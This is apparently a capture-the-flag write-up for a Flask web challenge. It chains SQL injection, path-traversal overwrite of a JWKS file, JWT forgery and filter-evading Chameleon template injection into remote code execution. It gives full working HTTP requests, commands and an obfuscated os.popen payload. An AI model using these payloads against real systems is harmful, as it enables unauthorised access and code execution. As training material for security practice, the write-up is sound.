Challenge Bobby's Bistro
This challenge consists of exploiting a chain of vulnerabilities in a Flask web application to achieve Remote Code Execution (RCE) and the solution consists of combining SQL Injection, Path Traversal, JWT Forgery, and Server-Side Template Injection (SSTI) to compromise the system and extract the flag.
Vulnerability Identification
Initial source code analysis reveals multiple security flaws across different endpoints. The /api/chat-messages endpoint contains a Path Traversal vulnerability, as it concatenates user-controlled input directly into a file path without sanitization:
$ grep -n "file.filename\|file.save\|UPLOADS_DIR" app.py
attachments=UPLOADS_DIR + "/" + file.filename,
file.save(UPLOADS_DIR + "/" + file.filename)
This flaw permits saving uploaded files to arbitrary server paths. Furthermore, the JWT verification process in auth.py loads the JWKS file from the local disk:
$ grep -n "jwks_path\|PyJWKClient" auth.py
jwks_path = os.path.abspath("static/.well-known/jwks.json")
jwks_client = PyJWKClient(f"file:///{jwks_path.replace(os.sep, '/')}")
If this file can be overwritten via the Path Traversal, the application will accept forged JWTs. However, forging a token requires knowing a valid user ID.
Inspecting the /profile endpoint uncovers a SQL Injection vulnerability. The token parameter is directly interpolated into a SQLAlchemy query:
$ grep -n "token\|text(" app.py
token = request.form.get("token")
user_data = db.session.query(User).filter(text("token='{}'".format(token))).all()
Lastly, the /api/announcements endpoint employs Chameleon templates and injects user input directly into a TAL PageTemplate. While a character blacklist removes characters like $, #, {, }, ", _, and ., the templating engine can still be exploited for SSTI.
$ grep -n "content\|PageTemplate\|render\|replace" app.py
content = markdown.markdown(request.form.get("announcement"))
if content:
for i in '$#{}\"_.':
content = content.replace(i, "")
tpl = PageTemplate(content)
res = tpl.render()
The first step in the attack chain involves extracting the administrator's UUID through the SQL Injection in the /profile endpoint. A boolean-based payload is sent to bypass the authentication check and leak the admin details:
$ cat <<'HTTP'
POST /profile HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: application/x-www-form-urlencoded
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMzU3MWM3M2UtMTkxMy00YjFjLWI5MWQtOTllZmE1M2YzMzMwIn0.pFs-hnuTserQQ2sb74LorPDN0BrFDVU1INuvikv-faK3Unx4u4g1ZYEjlKj269bUN8OPz0dgoxjuxiPIh33MhSZEnd9p1yD2fuJw11IJne-umemc0dJKksvP-JqPS-oAR1m2KUtxFbi0uH7rI5HqwKZR7l-HXQdzFuxUpEvEL87D42GKH7ahM1drDi9N8lmTeFGwuc6TbNAlAUVac3ALNgTRp8OewAiJx5Bc8nswjapTUkNtlQNSNesOWCbp42dp5BwaL4tVSyfZ4dhlHRNZxK_htgtiWB9GiEyT4RPH3MUwg7qGTZpYYel8o4Newz29o4wm88Q2yZ1XV51VB-hlsw
token=' or 1=1-- -
HTTP
The server responds with the administrator's information:
User ID: 284acf2c-0467-4073-8249-1651f06b9d98
Username: bobby_9805458b12c1eec088c4
Role: admin
With the administrator's UUID acquired, the next objective is to forge a valid JWT. Since the application validates tokens using a local JWKS file, a new RSA key pair is generated to replace it:
$ openssl genrsa -out private.pem 2048
$ openssl rsa -in private.pem -pubout -out public.pem
The public key parameters are extracted to build the malicious JWKS payload:
$ python3 -c "
from jwcrypto import jwk
with open('public.pem') as f:
key = jwk.JWK.from_pem(f.read().encode())
print(key.export(private_key=False))
"
{"e":"AQAB","kid":"IoUHDpTS7XmC_Lx8DXhR4MYOud2XcbltiuVWFlkAVac","kty":"RSA","n":"txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw"}
The generated JSON payload is then structured into a jwks.json file, ensuring the kid (Key ID) matches the original value expected by the application:
$ cat jwks.json
{
"keys": [
{
"kty": "RSA",
"kid": "7e02ad4fb35995e847f9d95f3ae27c7c",
"use": "sig",
"alg": "RS256",
"n": "txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw",
"e": "AQAB"
}
]
}
To overwrite the legitimate file, the Path Traversal vulnerability in the /api/chat-messages endpoint is exploited. A malicious multipart request uploads the crafted JWKS file to ../static/.well-known/jwks.json:
$ cat <<'HTTP'
POST /api/chat-messages HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: multipart/form-data; boundary=----geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMzU3MWM3M2UtMTkxMy00YjFjLWI5MWQtOTllZmE1M2YzMzMwIn0.pFs-hnuTserQQ2sb74LorPDN0BrFDVU1INuvikv-faK3Unx4u4g1ZYEjlKj269bUN8OPz0dgoxjuxiPIh33MhSZEnd9p1yD2fuJw11IJne-umemc0dJKksvP-JqPS-oAR1m2KUtxFbi0uH7rI5HqwKZR7l-HXQdzFuxUpEvEL87D42GKH7ahM1drDi9N8lmTeFGwuc6TbNAlAUVac3ALNgTRp8OewAiJx5Bc8nswjapTUkNtlQNSNesOWCbp42dp5BwaL4tVSyfZ4dhlHRNZxK_htgtiWB9GiEyT4RPH3MUwg7qGTZpYYel8o4Newz29o4wm88Q2yZ1XV51VB-hlsw
------geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Content-Disposition: form-data; name="message"
Look
------geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Content-Disposition: form-data; name="attachment"; filename="../static/.well-known/jwks.json"
Content-Type: application/json
{
"keys": [
{
"kty": "RSA",
"kid": "7e02ad4fb35995e847f9d95f3ae27c7c",
"use": "sig",
"alg": "RS256",
"n": "txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw",
"e": "AQAB"
}
]
}
------geckoformboundary5b1e6afd1524139db64cc505bd4a878d--
HTTP
Once the JWKS file is overwritten, the application trusts any JWT signed by the injected private key. A script is executed to generate an administrator session token using the leaked UUID:
$ python3 -c "
import jwt
with open('private.pem', 'rb') as f:
private_key = f.read()
payload = {'user_id': '284acf2c-0467-4073-8249-1651f06b9d98'}
headers = {'alg': 'RS256', 'typ': 'JWT', 'kid': '7e02ad4fb35995e847f9d95f3ae27c7c'}
token = jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
print(token)
"
eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMjg0YWNmMmMtMDQ2Ny00MDczLTgyNDktMTY1MWYwNmI5ZDk4In0.jYAkBQsViGICuMe-zCBF_6LtVv7Y3y4oqZV2erULad3BP0YAYG1Bu6Js2qPD4s6EsiJfM0e2kLHvs59Jd8GRgCu1hp7IFcZk3kQx3vu7m5b-oNivYoYqMlFsgBJo86yWRr0sMMYy4AhqXNnhF8bGkZEQQCs4m9yVRHadr8kmMYq_Hwgc7zHCd_3ohJ8RKkN4FGx7QRglbqoljFtvLg7Lg89j9yaKKDhA1ve1iLvhIWX5v4dWWJhi3OSSmn1rlQQnnX-zgDWM4CL8Ca8NJF3ip8EftkXK2KeO72NpkaN1VzZCFTtTcVa4weSafa6h0SdesYnjNAaBNod9DCSWmWBo7A
The resulting token grants administrative access, permitting interaction with the /api/announcements endpoint where the SSTI vulnerability resides. To bypass the character filter, a TAL (Template Attribute Language) expression is constructed using chr() to obfuscate blocked characters, avoiding quotes, underscores, and periods.
$ echo 'Obfuscated payload equivalent to:'
$ echo '<p tal:replace="__import__(\"os\").popen(\"cat /flag.txt\").read()">x</p>'
$ echo 'Using chr() concatenation to avoid blocked characters'
Applying the chr() obfuscation to access __builtins__.__import__ and execute os.popen, the URL-encoded payload is sent to the server:
$ cat <<'HTTP'
POST /api/announcements HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: application/x-www-form-urlencoded
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMjg0YWNmMmMtMDQ2Ny00MDczLTgyNDktMTY1MWYwNmI5ZDk4In0.jYAkBQsViGICuMe-zCBF_6LtVv7Y3y4oqZV2erULad3BP0YAYG1Bu6Js2qPD4s6EsiJfM0e2kLHvs59Jd8GRgCu1hp7IFcZk3kQx3vu7m5b-oNivYoYqMlFsgBJo86yWRr0sMMYy4AhqXNnhF8bGkZEQQCs4m9yVRHadr8kmMYq_Hwgc7zHCd_3ohJ8RKkN4FGx7QRglbqoljFtvLg7Lg89j9yaKKDhA1ve1iLvhIWX5v4dWWJhi3OSSmn1rlQQnnX-zgDWM4CL8Ca8NJF3ip8EftkXK2KeO72NpkaN1VzZCFTtTcVa4weSafa6h0SdesYnjNAaBNod9DCSWmWBo7A
title=testinggg&announcement=%3Cp%20tal%3Adefine%3D'imp%20globals()%5Bchr(95)*2%2Bchr(98)%2Bchr(117)%2Bchr(105)%2Bchr(108)%2Bchr(116)%2Bchr(105)%2Bchr(110)%2Bchr(115)%2Bchr(95)*2%5D%5Bchr(95)*2%2Bchr(105)%2Bchr(109)%2Bchr(112)%2Bchr(111)%2Bchr(114)%2Bchr(116)%2Bchr(95)*2%5D%3B%20os%20imp(chr(111)%2Bchr(115))%3B%20pop%20getattr(os%2Cchr(112)%2Bchr(111)%2Bchr(112)%2Bchr(101)%2Bchr(110))%3B%20res%20getattr(pop(chr(99)%2Bchr(97)%2Bchr(116)%2Bchr(32)%2Bchr(47)%2Bchr(102)%2Bchr(108)%2Bchr(97)%2Bchr(103)%2Bchr(46)%2Bchr(116)%2Bchr(120)%2Bchr(116))%2Cchr(114)%2Bchr(101)%2Bchr(97)%2Bchr(100))()'%20tal%3Areplace%3D'res'%3Ex%3C%2Fp%3E
HTTP
Upon rendering the template, the injected expression evaluates and executes the command as root, returning the flag within the HTTP response:
HTB{FLAG}